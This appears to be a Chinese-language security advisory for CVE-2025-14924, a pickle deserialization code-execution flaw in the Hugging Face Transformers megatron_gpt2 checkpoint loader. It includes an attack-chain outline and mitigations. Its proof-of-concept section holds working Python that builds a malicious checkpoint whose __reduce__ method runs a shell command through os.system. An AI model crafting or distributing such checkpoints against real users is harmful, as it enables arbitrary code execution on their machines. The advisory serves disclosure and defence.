IPBUF安全漏洞报告
English
CVE-2025-14924 CVSS 7.8 高危

CVE-2025-14924: Hugging Face Transformers megatron_gpt2 反序列化远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-14924
漏洞类型
反序列化远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hugging Face Transformers megatron_gpt2

相关标签

反序列化漏洞远程代码执行Hugging Face Transformersmegatron_gpt2Pickle反序列化模型安全ZDI-CAN-27984高危漏洞

漏洞概述

CVE-2025-14924是Hugging Face Transformers库中的一个高危安全漏洞,CVSS评分达到7.8。该漏洞存在于megatron_gpt2模型的检查点解析功能中,由于缺乏对用户 supplied 数据的适当验证,导致反序列化不受信任的数据。攻击者可以通过构造恶意的模型检查点文件,诱导目标用户加载该文件,从而在用户上下文中执行任意代码。此漏洞需要用户交互才能触发,例如访问恶意页面或打开恶意文件。ZDI编号为ZDI-CAN-27984。攻击向量为本地攻击(AV:L),无需认证即可发起攻击,但需要目标用户执行特定操作。该漏洞影响Transformers库处理megatron_gpt2检查点的所有版本,攻击成功可导致机密性、完整性和可用性均受到高影响。

技术细节

该漏洞根源在于Hugging Face Transformers库的检查点解析模块对megatron_gpt2模型的处理存在反序列化安全问题。当库函数尝试加载megatron_gpt2格式的检查点文件时,会调用pickle.load()或类似的反序列化函数,而没有对输入数据进行充分的验证和净化。攻击者可以构造一个包含恶意序列化对象的检查点文件,该对象在反序列化时会触发代码执行。具体来说,攻击者利用Python的pickle模块特性,通过在序列化数据中嵌入__reduce__()或__reduce_ex__()方法,使对象在反序列化时自动执行任意代码。megatron_gpt2的检查点加载器直接使用torch.load()配合pickle模块进行模型权重加载,而torch.load()默认允许加载pickle数据。攻击者只需将精心构造的恶意检查点文件放置在目标系统可访问的位置,或通过社会工程学手段诱导用户加载该文件,即可实现远程代码执行。

攻击链分析

STEP 1
步骤1
攻击者创建恶意的megatron_gpt2检查点文件,其中包含序列化后的恶意Python对象
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站或社会工程学手段诱导目标用户获取该恶意检查点文件
STEP 3
步骤3
目标用户使用Hugging Face Transformers库加载该恶意的检查点文件
STEP 4
步骤4
Transformers库的megatron_gpt2检查点解析器调用pickle.load()反序列化数据
STEP 5
步骤5
恶意对象的__reduce__()方法被调用,触发任意代码执行
STEP 6
步骤6
攻击者在目标系统上获得与当前进程相同权限的代码执行能力

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14924 PoC - Malicious megatron_gpt2 checkpoint import pickle import os class MaliciousPayload: def __reduce__(self): # Replace this with actual malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) # Create malicious checkpoint data malicious_data = { 'model_state_dict': {'weight': MaliciousPayload()}, 'checkpoint_version': 'megatron_gpt2', 'metadata': {'version': '1.0'} } # Save as malicious checkpoint file with open('malicious_megatron_checkpoint.pt', 'wb') as f: pickle.dump(malicious_data, f) print("Malicious checkpoint created: malicious_megatron_checkpoint.pt") print("Load this file using Transformers to trigger RCE") # Example loading code that triggers the vulnerability: # from transformers import AutoModel # model = AutoModel.from_pretrained('./malicious_checkpoint/') # Or with custom checkpoint loader for megatron_gpt2

影响范围

Hugging Face Transformers < 修复版本
Transformers megatron_gpt2 checkpoint loader (all versions prior to patch)

防御指南

临时缓解措施
临时缓解措施包括:1) 不要加载来源不明的megatron_gpt2检查点文件;2) 使用torch.load()时添加weights_only=True参数以防止pickle反序列化;3) 对所有模型检查点实施完整性校验;4) 在隔离环境或容器中处理不受信任的模型文件;5) 监控异常的文件访问和代码执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表